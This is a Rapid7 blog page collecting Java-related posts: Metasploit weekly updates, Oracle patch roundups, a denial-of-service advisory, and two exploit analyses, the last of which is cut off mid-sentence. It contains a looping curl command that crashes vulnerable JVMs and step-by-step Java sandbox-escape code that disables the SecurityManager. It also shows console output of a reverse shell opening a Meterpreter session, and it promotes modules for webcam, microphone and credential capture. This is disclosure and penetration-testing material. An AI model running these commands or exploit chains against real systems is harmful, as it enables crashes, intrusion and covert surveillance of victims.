Rapid7 Blog

Java  

Weekly Metasploit Wrapup

Welcome to the last Metasploit update of the year! Since January 1st, 2015, we've had 6364 commits from 176 unique authors, closed 1119 Pull Requests, and added 323 modules. Thank you all for a great year! We couldn't have done it without you.SoundsThe sounds…

Welcome to the last Metasploit update of the year! Since January 1st, 2015, we've had 6364 commits from 176 unique authors, closed 1119 Pull Requests, and added 323 modules. Thank you all for a great year! We couldn't have done it without you.SoundsThe sounds plugin has been around for a long time, notifying hackers of new shells via their speakers since 2010. Recently, Wei sinn3r Chen gave it a makeover, replacing the old robotic voice with that of Offensive Security founder, Kali Linux Core Developer, and all-around cool guy Mati "muts" Aharoni. Now when you get a new session, you'll be treated to his sultry voice congratulating you and when an exploit fails, he'll encourage you to try harder. Just type "load sounds" in msfconsole to hear it in action.New ModulesWe have eight new modules this week -- 5 exploits and 3 post modules. Among them is an exploit for Jenkins that takes advantage of the java deserialization issue brought to the world's attention by FoxGlove Security a few weeks ago. More exploits for similar vulnerabilities are undoubtedly on the way.Exploit modulesJenkins CLI RMI Java Deserialization Vulnerability by juan vazquez, Christopher Frohoff, Dev Mohanty, Louis Sato, Steve Breen, Wei Chen, and William Vu exploits CVE-2015-8103phpFileManager 0.9.8 Remote Code Execution by Jay Turla and hyp3rlinxLegend Perl IRC Bot Remote Code Execution by Jay Turla exploits OSVDB-121681Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution by Conor Patrick, Jay Turla, and Matt ThayerManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability by sinn3r exploits CVE-2015-8249Auxiliary and post modulesUNIX Gather RSYNC Credentials by Jon HartBitlocker Master Key (FVEK) Extraction by Danil BazinWindows Antivirus Exclusions Enumeration by Andrew Smith and Jon HartGet itAs always, you can get all these modules and improvements with a simple msfupdate and the full diff is available on GitHub: 4.11.5-2015120901...4.11.5-2015121501

R7-2015-09: Oracle Java JRE AES Intrinsics Remote Denial of Service (CVE-2015-2659)

Java 8 servers versions prior to u46 are susceptible to a remote unauthenticated denial of service (hard crash) when used with AES intrinsics (AES-NI) CPU extensions on supported processors. AES intrinsics are enabled by default on the Oracle JVM if the the JVM detects that…

Java 8 servers versions prior to u46 are susceptible to a remote unauthenticated denial of service (hard crash) when used with AES intrinsics (AES-NI) CPU extensions on supported processors. AES intrinsics are enabled by default on the Oracle JVM if the the JVM detects that processor capability, which is common for modern processors manufactured after 2010. For more on AES-NI, see the Wikipedia article. This issue was tracked in the OpenJDK public bug tracker as JDK-8067648, but was not initially classified as a security issue. Credit This issue was discovered by Derek Abdine of Rapid7, Inc., and was reported to Oracle and CERT/CC per Rapid7's vulnerability disclosure policy. Patch and Workarounds The July 2015 Oracle CPU has been released that addresses CVE-2015-2659. Note that AES-NI can be disabled at runtime with the option -UseAESIntrincs. Sites which cannot be patched in a timely manner are advised to disable AES-NI. Detection If the JVM is not patched, and returns "true" for UseAESIntrinsics, the JVM process is vulnerable. Non-vulnerable servers return false for "UseAESIntrinsics". java -XX:+PrintFlagsFinal -version | grep "UseAESIntrinsics" Vulnerable versions prior to u46 will return (spaces stripped): bool UseAESIntrinsics = true {product} In addition, the July 2015 Nexpose release will contain a check for vulnerable versions of Java. Exploitation The below bash shell script can trigger the denial of service condition by crashing the target JVM, where the target application URI is https://host:port/dir. while true; do curl 'https://host:port/dir' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -d "$(printf '%0.sa' {1..4097})" --insecure --ciphers AESGCM -v; done; Note that not all versions of curl support the --ciphers option. Most Linux distributions do, but Apple OSX's default implementation of curl does not. Disclosure Timeline Tue, May 05, 2015: Initial contact to vendor Mon, May 11, 2015: Proof of concept and advisory provided to vendor Mon, Jun 01, 2015: Disclosure to CERT/CC, VU#513484 assigned. Tue, Jul 14, 2015: Vendor patch released as part of July 2015 CPU. Thu, Jul 16, 2015: Public disclosure at http://r-7.co/R7-2015-09

Weekly Metasploit Wrapup: Remote Controlling Java Services

Java Remoting: Sign Me Up! This is a pretty exciting week for advancing the state of the art of penetration testing with Metasploit, thanks in large part to Juan Vazquez's work on the new protocol-level support for Java Remote Method Invocation (RMI). If you've never…

Java Remoting: Sign Me Up! This is a pretty exciting week for advancing the state of the art of penetration testing with Metasploit, thanks in large part to Juan Vazquez's work on the new protocol-level support for Java Remote Method Invocation (RMI). If you've never heard of it before, it's probably because, like me, you haven't done much (or any) Java programming since school. Java RMI is essentially a network-exposed API, usually listening on 1617/TCP, and, as it turns out, often enabled by accident due to some misconceptions around the native security offered. While Oracle's documentation (and other sources) suggest using an SSL or SSH tunneling mechanism to secure RMI, it looks like there are more than a few implementations where there was some... confusion... regarding the difference between a merely encoded protocol, and an encrypted protocol. Keeping up on this kind of application protocol research is pretty crucial in exposing new (to you) sources of weakness and avenues of attack in an enterprise network. After all, there are only so many CSRFs and XSSes you can report on before the client starts getting a little glassy-eyed and wondering if there's anything else to worry about in the network under test. You can read up on Juan's working notes on the original pull request, PR4560, but if you're really serious about learning up on using this stuff on your next engagement, you should register at InfoSec Southwest, coming up in April here in Austin -- Juan will be discussing all this at length in his talk, Reviewing and Abusing Java Remote Interfaces (Server-side Attacks). It's a gripper, and you'll be better prepared to tackle it when it pops up on your next port scan. New Modules Since last week's blog post, we have 4 new exploits and 4 new auxiliary modules, including not only the Java RMI, but a pair of modules targeting Google's Chromecast and Amazon's Fire TV devices. That William Vu guy just seems pretty obsessed with forcing you to watch what he wants to watch if you're glued to a networked TV screen. At least he's not eavesdropping on your private conversations (yet). We also have some bruteforcing modules for Splunk, Zabbix, and Chef, three popular operations suites for managing loads of data, servers, and configurations, from the reclusive and possibly mythical Metasploit Jedi HD Moore. Exploit modules Javascript Injection for Eval-based Unpackers by joev Java JMX Server Insecure Configuration Java Code Execution by juan vazquez and Braden Thomas Maarch LetterBox Unrestricted File Upload by Rob Carr exploits CVE-2015-1587 WordPress Photo Gallery Unrestricted File Upload by Kacper Szurek and Rob Carr exploits CVE-2014-9312 X360 VideoPlayer ActiveX Control Buffer Overflow by juan vazquez and Rh0 Auxiliary and post modules Amazon Fire TV YouTube Remote Control by wvu Chef Web UI Brute Force Utility by hdm Chromecast Web Server Scanner by wvu Zabbix Server Brute Force Utility by hdm Also be sure to check out what's included in this week's binary release of Metasploit Pro, Express, and Community over at Thao's most excellent release notes.

Oracle CPU: July 2014

Oracle's Quarterly Critical Patch Update (CPU) is never a minor event.  In April we saw 104 security issues addressed, in January it was 144.  This time around we are faced with 113 updates.  These updates span the entire portfolio of Oracle software,…

Oracle's Quarterly Critical Patch Update (CPU) is never a minor event.  In April we saw 104 security issues addressed, in January it was 144.  This time around we are faced with 113 updates.  These updates span the entire portfolio of Oracle software, including the JRE, Solaris, Oracle Database, MySQL, and numerous web and middleware products.What stands out is the belated fix for Heartbleed in MySQL Enterprise Server, coming fully 3 months after Oracle fixed that issue in their other products, and the high risk vulnerabilities fixed in Oracle Database and the JRE.  It's somewhat shocking to see that the top two issues (CVE-2013-3751 & CVE-2013-3774) being fixed in Oracle Database 12 were fixed a year ago for Oracle Database 11.  That means that Oracle quite likely new that version 12 was vulnerable when they released it last June and have left their customers exposed for the past year. The older patches in Oracle Fusion Middleware (linked to CVE-2013-1741 and others) seem to be a different beast.  This is likely Oracle taking upstream fixes from an open source vendor (Mozilla in this case) and redistributing them to their paying, affected customers because they re-use the vulnerable component.The JRE patches address 20 different issues with numerous high risk vulnerabilities in each of the latest supported versions of the JRE, as expected these are exploitable through sandboxed Java Web Start applications and applets.  In the worst of these an attacker could completely compromise target systems by inducing a user to visit a malicious web site, or all too common, a compromised "normal" web site that is serving malicious content.Recent improvements to the control of when the browser may run Java plugins have somewhat mitigated the risk for those users who have been keeping their JRE up to date and actually pay attention to the warnings and controls.  That said, this is still going to be a major risk and we will have to monitor for co-publication of exploit code from various disclosure systems.  The JRE fixes will be the top patching priority for almost all home and enterprise end users.  The Oracle Database issues will be the main issue for enterprise database administrators.

Weekly Metasploit Update: More Meterpreters!

Meterpreter for All The PlatformsThis week is pretty exciting for us, since it's not every day we give out commit rights to the Rapid7 Metasploit repo. I'm very happy to report that Tim Wright has agreed to step up and help out with moving Meterpreter…

Meterpreter for All The PlatformsThis week is pretty exciting for us, since it's not every day we give out commit rights to the Rapid7 Metasploit repo. I'm very happy to report that Tim Wright has agreed to step up and help out with moving Meterpreter research and development forward, focusing mainly on the Java and Android implementations.Many Metasploit users are familiar with Meterpreter for Windows, since it's the default payload for Microsoft systems and effectively the reference implementation. In fact, Metasploit contributor OJ Reeves will be talking about Meterpreter internals on Friday at AusCERT2014, so if you're in the area or otherwise attending, you should certainly check it out.That said, many people also don't know that Meterpreter is more than just a Windows rootkit / backdoor / persistence agent for Windows.  It's a whole protocol and system for interacting with compromised machines, and has always been intended to be cross-platform. Today, we have versions written in POSIX, PHP, Python, and Java/Android. It's that last one that's been getting a lot of attention lately, primarily by community contributors mihi, Anwar, and of course the aforementioned Tim.There are tons and tons of cool new features and boring old bugfixes just waiting to be committed in the many Meterpreters (Meterpreti?), so if you have ideas, or better, a willingness to run through test cases and documentation, or best, code to contribute to make those features a reality, I strongly urge you to get in touch with OJ, Tim, or really anyone from Rapid7, all of whom tend to hang out on the #metasploit channel on Freenode IRC.New ModulesWe have two new exploits this week: yet another Flash reverse engineered from yet another 0day found circulating in the wild, and another Yokogawa CS3000 module. Both are thanks to Juan Vazquez.Exploit modulesAdobe Flash Player Shader Buffer Overflow by juan vazquez and Unknown exploits CVE-2014-0515Yokogawa CS3000 BKESimmgr.exe Buffer Overflow by juan vazquez and Redsadic exploits CVE-2014-0782If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows, either the totally free Metasploit Community Edition, or the 14-day free trial of Metasploit Pro. If you're the sort to track bleeding-edge development code, then these modules are but an msfupdate command away. For readers who are already using Metasploit Community or Metasploit Pro, you'll be able to install the new hotness today via the Administration : Software Updates button.For additional details on what's changed and what's current, please see Chris Doughty's most excellent release notes.

Oracle October 2013 CPU roundup

The story here is that Oracle has synced up their Java patching with the rest of their patching cycle and, when it comes to vulnerabilities, Java always steals the show. The CPU includes fixes for 127 vulnerabilities in Oracle products, but aside from Java, it's…

The story here is that Oracle has synced up their Java patching with the rest of their patching cycle and, when it comes to vulnerabilities, Java always steals the show. The CPU includes fixes for 127 vulnerabilities in Oracle products, but aside from Java, it's mostly ho-hum, low impact stuff. There's a CVSS 8.5 vulnerability in MySQL's Enterprise Service manager, but besides the Java patches, nothing else jumps out as particularly interesting. The Java patches include 51 of the 127 addressed issues. Of the 51 issues, 21 are CVSS scores of 9 or higher, meaning they would allow an attacker to gain control of the system in the context of the running user with limited complexity to exploit. The vast majority of these issues affect the Java browser plugin and users, first and foremost, are advised to keep up-to-date with patches. Secondly, users should take advantage of all the signing and execution restrictions offered by the latest plugin versions. Ideally, users will disable Java plugins unless it is specifically needed and then run it only in a browser which you only use for those one or two sites that require the plugin. Otherwise, run Java in the most restricted mode and only allow signed applets from whitelisted sites to run.

Weekly Update: Sport Fishing for Exploits and Improved Java Hackery

Java Payload CleanupIf you've been watching the Metasploit source repository, you will have noticed some movement in Java Payload land -- specifically, PR#1217, which landed this week. Thanks to the refactoring efforts of Michael @mihi42 Schriel, testing by @Meatballs, and integration from James @egyp7…

Java Payload CleanupIf you've been watching the Metasploit source repository, you will have noticed some movement in Java Payload land -- specifically, PR#1217, which landed this week. Thanks to the refactoring efforts of Michael @mihi42 Schriel, testing by @Meatballs, and integration from James @egyp7 Lee, the Javapayload and Java Meterpreter projects can now more easily be hacked at with Eclipse, a preferred IDE for Java nerds. There's also a slew of new unit tests, so you have more assurance that your hackery won't break existing functionality. This is good news for you if you are a) more of a Java guy than a Ruby guy, and b) you want to make meaningful contributions to the Metasploit framework. Thanks a ton, guys!ZDI Sport FishingThis week also sees a trio of ZDI-derived Metasploit modules -- we have exploits now for ZDI-13-051, ZDI-13-052, and ZDI-13-053. They all target the HP Intelligent Management Center (IMC), and all three were initially reported to the Zero Day Initiative (ZDI). ZDI, if you weren't aware, is now part of HP's new HP Security Research (HPSR) group. Yes, that's a lot of acronyms.ZDI-disclosed vulnerabilities are especially attractive for some exploit developers, including our own Juan Vazquez. By dint of being disclosed by ZDI, we know for sure that some money has already changed hands. This makes them de-facto "high value" vulnerabilities, and not just goofy crashes or exposed in unlikely, contrived attack scenarios. In addition, we know that there are organizations out there who put a premium on protecting against ZDI vulns. Those folks like to be able to use Metasploit modules to test the efficacy of their defenses, both pre- and post-patch.This is all incidental to the fact that ZDI vulns are generally rewarding to research. It's like fishing in a pond that you know is stocked; it's a lot easier to be confident and be successful when you know for sure that there is an exploit worth catching there. If you're looking to get involved with exploit development on targets that aren't just toys or CTF targets, ZDI can provide a pretty rich target landscape.New ModulesBesides HP IMC, we of course have a passel of new modules. Passel?  How about a clutch? No, a murder. Of course. Below is this week's murder of Metasploit modules.DLink DIR-645 / DIR-815 diagnostic.php Command Execution by juan vazquez and Michael Messner exploits OSVDB-92144Linksys WRT54GL apply.cgi Command Execution by juan vazquez and Michael Messner exploits OSVDB-89912HP System Management Homepage Local Privilege Escalation by agix exploits OSVDB-91990Nagios Remote Plugin Executor Arbitrary Command Execution by Rudolph Pereir and jwpari exploits CVE-2013-1362Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service by Matt "hostess" Andreko exploits OSVDB-92081HP Intelligent Management FaultDownloadServlet Directory Traversal by juan vazquez and rgod exploits ZDI-13-051HP Intelligent Management IctDownloadServlet Directory Traversal by juan vazquez and rgod exploits ZDI-13-053HP Intelligent Management ReportImgServlt Directory Traversal by juan vazquez and rgod exploits ZDI-13-052AvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Oracle April 2013 CPU - 42 Java vulns!

Oracle Security had a busy day yesterday.  They released two of their Cumulative Patch Updates, one for Java and one for everything else that they patch. The Java CPU contains 19 CVEs with CVSS base score of 10 (the highest you can go) indicating…

Oracle Security had a busy day yesterday.  They released two of their Cumulative Patch Updates, one for Java and one for everything else that they patch. The Java CPU contains 19 CVEs with CVSS base score of 10 (the highest you can go) indicating that exploiting the vulnerability is not particularly challenging and could give complete control of compromised systems. For all of these vulnerabilities, the browser is the vector of exploit. For one of those (CVE-2013-1537)some Java server configurations will also be exposed. In total, there are 42 distinct CVEs for Java this quarter, of which 39 are through the Java Web Start plugin and can be remotely exploited without authentication. Java exploits have publically impacted major forces in the world of technology. Both Facebook and Bit9 have disclosed that they were compromised via Java. Administrators and end users alike have to realize that the common wisdom regarding Java plugin security and precautions will not change with this patch, the next one, or the one after that. Java as a web plugin has a lot of unpatched issues, many of which are found and disclosed to Oracle by responsible researchers who are essentially doing Oracle's Quality Assurance work for free on an ongoing basis. We don't know how many vulnerabilities the “bad guys” are finding though, until they hit the common market in widespread exploits. It's doubtful that skilled and motivated attackers won't find the same things as more ethical researchers. And some may well have more resources available to them to look. With a browser plugin, pretty much any browser plugin as complex as Java (such as Flash, for instance), you should always assume that some attacker, somewhere has at least one 0day waiting for the right opportunity. Disable Java in the browser unless you have a specific business need to run it. Ideally, only enable it in an alternate browser and restrict use of that browser to the sites where you need Java. If you do need to use it, apply this patch immediately, make sure Java is running at the highest security settings, and ensure that any old versions of Java have been uninstalled. You can check whether you, or users in your organization, are running the most up to date version for free at http://browserscan.rapid7.com/. The "everything else" CPU, other than Java, affects Oracle database, MySQL, Solaris, WebLogic, WebCenter, PeopleSoft… no VirtualBox this time. It contains a whopping 128 new CVEs. MySQL is touched by 25 issues, however the highest scoring are a Denial of Service attack and a couple of partial confidentiality and integrity compromises.  Nothing to ignore, but no screaming total remote compromise of the DB or underlying OS. Oracle Database, 4 issues.  CVE-2013-1534 affects RAC configurations.  It is a CVSS 10 on Windows, meaning complete compromise of the database and probably the underlying operating system.  Risk score is reduced to 7.5 on non-Windows installations. Administrators with servers in this configuration should apply this patch immediately. Solaris is affected by 18 issues.  Nothing is super critical, but should not be ignored either. Patch in next maintenance window. Other high/low-lights: Oracle JRockit (part of Fusion Middleware) is affected by a CVSS 10 remote compromise Overall, a *lot* of patching, but far fewer screaming concerns than last time.  Spend your efforts patching Java first.

Java 7 Exploit for CVE-2013-0431 in the Wild

According to the latest news, exploit kits such as Cool EK and Popads are integrating a new exploit for Java, targeting Java 7u11. An exploit for CVE-2013-0431 has been analyzed and shared by SecurityObscurity, and is also now available as a Metasploit module with some…

According to the latest news, exploit kits such as Cool EK and Popads are integrating a new exploit for Java, targeting Java 7u11. An exploit for CVE-2013-0431 has been analyzed and shared by SecurityObscurity, and is also now available as a Metasploit module with some improvements for testability. We would like to use this blog post to share some details about the vulnerabilities abused by this new Java exploit. Step 1: Getting access to restricted classes The first of the vulnerabilities abuses the public findClass method from the com.sun.jmx.mbeanserver.MBeanInstantiator to get access to restricted classes: /** * Gets the class for the specified class name using the MBean * Interceptor's classloader */ public Class << ? > findClass(String className, ClassLoader loader)  throws ReflectionException {  return loadClass(className, loader); } The findClass method relies on loadClass, where the weakness lives, since it has been called with a null ClassLoader and: (1) It will ask for the MBeanInstantiatior ClassLoader, which should return null (bootstrap loader) and (2) Call Class.forName without ClassLoader, so Class.forName will use the Caller ClassLoader, which should be the bootstrap one. /** * Load a class with the specified loader, or with this object * class loader if the specified loader is null. **/ static Class << ? > loadClass(String className, ClassLoader loader)  throws ReflectionException { Class << ? > theClass; if (className == null) { throw new RuntimeOperationsException(new IllegalArgumentException("The class name cannot be null"), "Exception occurred during object instantiation"); } try { if (loader == null) loader = MBeanInstantiator.class.getClassLoader(); // (1) if (loader != null) { theClass = Class.forName(className, false, loader); } else { theClass = Class.forName(className); // (2) } } catch (ClassNotFoundException e) { throw new ReflectionException(e, "The MBean class could not be loaded"); } return theClass; } The method above is abused to get a reference to the restricted sun.org.mozilla.javascript.internal.GeneratedClassLoader class: Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader"); private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException { Object obj = null; JmxMBeanServer jmxmbeanserver = (JmxMBeanServer) JmxMBeanServer.newMBeanServer("", null, null, true); MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator(); Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator"); Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class }); return (Class) method.invoke(mbeaninstantiator, new Object[] { s, obj }); } Step: 2 Getting access to methods The exploit abuses the com.sun.jmx.mbeanserver.Introspector class, which makes an insecure use of the invoke method of the java.lang.reflect.Method class, as documented by Adam Gowdiak. The, exploit, as also explained by Adam, invokes getDeclaredMethod from the java.lang.Class to get access to methods of restricted classes. Specifically the defineClass method from the sun.org.mozilla.javascript.internal.GeneratedClassLoader class: Method method2 = getMethod(class2, "defineClass", false); private Method getMethod(Class class1, String s, boolean flag) { try { Method[] amethod = (Method[]) Introspector.elementFromComplex(class1, "declaredMethods"); Method[] amethod1 = amethod; for (int i = 0; i < amethod1.length; i) { Method method = amethod1[i]; String s1 = method.getName(); Class[] aclass = method.getParameterTypes(); if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method; } } catch (Exception localException) { } return null; } Step 3: Bypassing security control In Java 7 Update 10, the security level for unsigned Java apps switched to "High," which means the user is prompted before any unsigned Java app runs in the browser, the exploits found in the wild aren't bypassing this control, so require user interaction in order to run the exploiting applet: The metasploit module is using the Security Control bypass also found by Adam Gowdiak. Adam noticed that the implementation of the above security levels doesn't take into account Java Applets instantiated with the use of serialization. A serialized version of the Exploit class can be obtained with the use of a Java application based in the code published in Adam's advisory: import java.io.*; public class Serializer {    public static void main(String[] args) { try { Exploit b = new Exploit(); // target Applet instance ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(b); FileOutputStream fos = new FileOutputStream("Exploit.ser"); fos.write(baos.toByteArray()); fos.close(); } catch (Exception ex) { ex.printStackTrace(); } } } Demo With all the pieces of the puzzle together, complete Java sandboxing and security level bypassing can be accomplished. You'll want to view the video at 720p and a decent-size monitor if you want to actually read the text in the video below. Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

Weekly Update: Hollywood Hacking and More Java Exploits

Hollywood Hacking: Tapping Webcams and MicsThis week's update has two new post modules for Metasploit, which enables the creative pen-tester to hit that creeper vibe so often missing on a typical engagement, both by Metasploit exploit dev Wei @_sinn3r Chen. They're both post-exploitation modules, so…

Hollywood Hacking: Tapping Webcams and MicsThis week's update has two new post modules for Metasploit, which enables the creative pen-tester to hit that creeper vibe so often missing on a typical engagement, both by Metasploit exploit dev Wei @_sinn3r Chen. They're both post-exploitation modules, so they presume you already have a session on the target via some other exploit.First up is a webcam control module, which can take a snapshot using the target's webcam. Aside from capturing the looks of surprise when you execute your annoying popup, there are several office and cubicle configurations that expose sensitive information such as passwords, addresses, or other organization details within view of users' workstations, which are now on the table as collected evidence for a penetration test.Second is a microphone control module, which brings the audio portion of your A/V torment. About a million attack scenarios open up when you've effectively bugged your target with their own equipment, but how to make sense of all your new input? Never fear, sinn3r put together a quick HOWTO on machine-driven keyword parsing using off-the-shelf tools, so now it's up to you to figure out how to prompt people to say their passwords and PINs aloud.Java Exploits for CVE-2012-5076 and CVE-2012-5088Java's been sticking in the security news, as you already know, so what better time to release some new exploits for some old vulnerabilities?  Metasploit exploit developer Juan Vazquez dropped a couple new Java exploit this week, along with one of his exceedingly detailed blog posts of how he got there. So, check out Juan's New Java Modules post, and come to the realizations that a) Java 0-days are cool, but even slightly aged Java exploits can be just as fun to exploit, and b) nobody updates Java anyway, so using these exploits on an engagement is a great way to prove that.New ModulesMYSQL File/Directory Enumerator by Robin WoodJava Applet AverageRangeStatisticImpl Remote Code Execution by juan vazquez and Unknown exploits CVE-2012-5076Java Applet Method Handle Remote Code Execution by juan vazquez and Unknown exploits CVE-2012-5088Jenkins Script-Console Java Execution by Spencer McIntyre and jamcutNagios3 history.cgi Host Command Execution by Daniele Martini, Jose Selvi, Unknown, and blasty exploits CVE-2012-6096PHP-Charts v1.0 PHP Code Execution Vulnerability by AkaStep and Brendan Coles exploits OSVDB-89334Multi Manage Record Microphone by sinn3rRazer Synapse Password Extraction by Brandon McCann "zeknox", Matt Howard "pasv", and Thomas McCarthy "smilingraccoon"Windows Manage Webcam by sinn3rAvailabilityIf you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.For additional details on what's changed and what's current, please see Brandon Turner's most excellent release note

New Java Modules in Metasploit... No 0 days this time

Last year Security Explorations published some awesome research, exploring the security state of the Java SE from Oracle, and disclosing different vulnerabilities and exploit vectors in this software. In fact, some of the last Java exploits found in the wild have been using techniques from…

Last year Security Explorations published some awesome research, exploring the security state of the Java SE from Oracle, and disclosing different vulnerabilities and exploit vectors in this software. In fact, some of the last Java exploits found in the wild have been using techniques from the mentioned research. Today we're publishing two new modules exploiting some of the documented issues. In this blog post we would like to share something about them, with the hope it will allow a better understanding of the Java related issues exploited by malicious Java applets. Anyway, the Security Explorations lecture is recommended in order to gain a deep understanding of the exploited issues and the actual Java SE state of security. Note: The issues exploited by these modules were patched (or tried to be patched) in Java 7u9, because of that, they will be working only against Java 7 (Update 7 and before). CVE-2012-5076 - Abusing AverageRangeStatisticImpl.invoke() The first of the modules is abusing the AverageRangeStatisticImpl class in the com.sun.org.glassfish.external.statistics.impl package. This package, introduced with Java 7, wasn't restricted by the default Java security properties configuration. This class provides a public method, invoke(),  which is doing an insecure usage of the the java.lang.reflect.Method.invoke method, calling it with user provided arguments: public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object result; try { result = method.invoke(this, args); } catch (InvocationTargetException e) { throw e.getTargetException(); } catch (Exception e) { throw new RuntimeException("unexpected invocation exception: " e.getMessage()); } finally { } return result; } This can be abused by a malicious applet to make calls to restricted classes, with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as caller. This behavior can be abused, for example, to call the static java.lang.invoke.MethodHandles.Lookup.lookup() method; /**     * Returns a {@link Lookup lookup object} on the caller, * which has the capability to access any method handle that the caller has access to,     * including direct method handles to private fields and methods. * This lookup object is a <em>capability</em> which may be delegated to trusted agents. * Do not store it in place where untrusted code can access it. */ public static Lookup lookup() { return new Lookup(); } And create a Lookup object with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as lookupClass: /** Embody the current class (the lookupClass) as a lookup class * for method handle creation. * Must be called by from a method in this package, * which in turn is called by a method not in this package. * <p> * Also, don't make it private, lest javac interpose * an access$N method. */ * Lookup() { this(getCallerClassAtEntryPoint(false), ALL_MODES); // make sure we haven't accidentally picked up a privileged class: checkUnprivilegedlookupClass(lookupClass); } The getCallerClassAtEntryPoint will set the lookupClass: /* Obtain the external caller class, when called from Lookup.<init> or a first-level subroutine. */ private static Class<?> getCallerClassAtEntryPoint(boolean inSubroutine) { final int CALLER_DEPTH = 4; //  Stack for the constructor entry point (inSubroutine=false): // 0: Reflection.getCC, 1: getCallerClassAtEntryPoint, // 2: Lookup.<init>, 3: MethodHandles.*, 4: caller //  The stack is slightly different for a subroutine of a Lookup.find* method: // 2: Lookup.*, 3: Lookup.find*.*, 4: caller // Note:  This should be the only use of getCallerClass in this file. assert(Reflection.getCallerClass(CALLER_DEPTH-2) == Lookup.class); assert(Reflection.getCallerClass(CALLER_DEPTH-1) == (inSubroutine ? Lookup.class : MethodHandles.class)); return Reflection.getCallerClass(CALLER_DEPTH); } The checkUnprivilegedlookupClass will ensure the lookupClass isn't part of the java.lank.invoke. package, I guess to avoid to use same reflection API to create a Lookup object with a system class as lookupClass: private static void checkUnprivilegedlookupClass(Class<?> lookupClass) { String name = lookupClass.getName(); if (name.startsWith("java.lang.invoke.")) throw newIllegalArgumentException("illegal lookupClass: " lookupClass); } So far so good, with a MethodHandles.Lookup object with a system class as lookupClass, we can abuse the new reflection API to finally bypass the sandbox. In order to do it, the Class.forName method is used to get references for the restricted classes sun.org.mozilla.javascript.internal.Context and sun.org.mozilla.javascript.internal.GeneratedClassLoader, and these are used to define a custom provided class in a privileged class loader namespace: MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0); Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); // Instance of sun.org.mozilla.javascript.internal.Context MethodType localMethodType1 = MethodType.methodType(Void.TYPE); MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1); Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]); // Context.createClassLoader MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class); MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2); Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null }); // GeneratedClassLoader.defineClass MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3); Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer }); The provided class to be loaded implements PrivilegedAction, this action invokes setSecurityManager with a NULL argument to disable the Security Manager in the Java VM: import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class B implements PrivilegedExceptionAction { public B() { try { AccessController.doPrivileged(this); } catch (Exception e) { } } public Object run() { System.setSecurityManager(null); return new Object(); } } The exploitation method exposed before is also documented in detail on the Security Explorations paper (using sun.org.mozilla.javascript.internal.DefiningClassLoader), and has been used in the wild to exploit the CVE-2013-0422. Now you can use one of the new Metasploit modules to test it: msf > use exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > rexploit [*] Reloading module... [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.128:4444 [*] Using URL: http://0.0.0.0:8080/CB9zqJIFfRLz5 [*] Local IP: http://192.168.1.128:8080/CB9zqJIFfRLz5 [*] Server started. msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > [*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5 [*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/ [*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar [*] 192.168.1.142 java_jre17_glassfish_averagerangestatisticimpl - handling request for /CB9zqJIFfRLz5/fvaWoLCE.jar [*] Sending stage (30216 bytes) to 192.168.1.142 [*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.142:3159) at 2013-01-17 21:25:13 +0100 msf exploit(java_jre17_glassfish_averagerangestatisticimpl) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: Administrator meterpreter > sysinfo Computer : juan-c0de875735 OS : Windows XP 5.1 (x86) Meterpreter : java/java meterpreter > CVE-2012-5088 - Abusing MethodHandle.invokeWithArguments The second modules presented is abusing  the java.lang.invoke.MethodHandle.invokeWithArguments function. This issue around this method is explained again by Security Explorations in this report. This public method is a wrapper to the invokeExact method, provided by the same MethodHandle class: 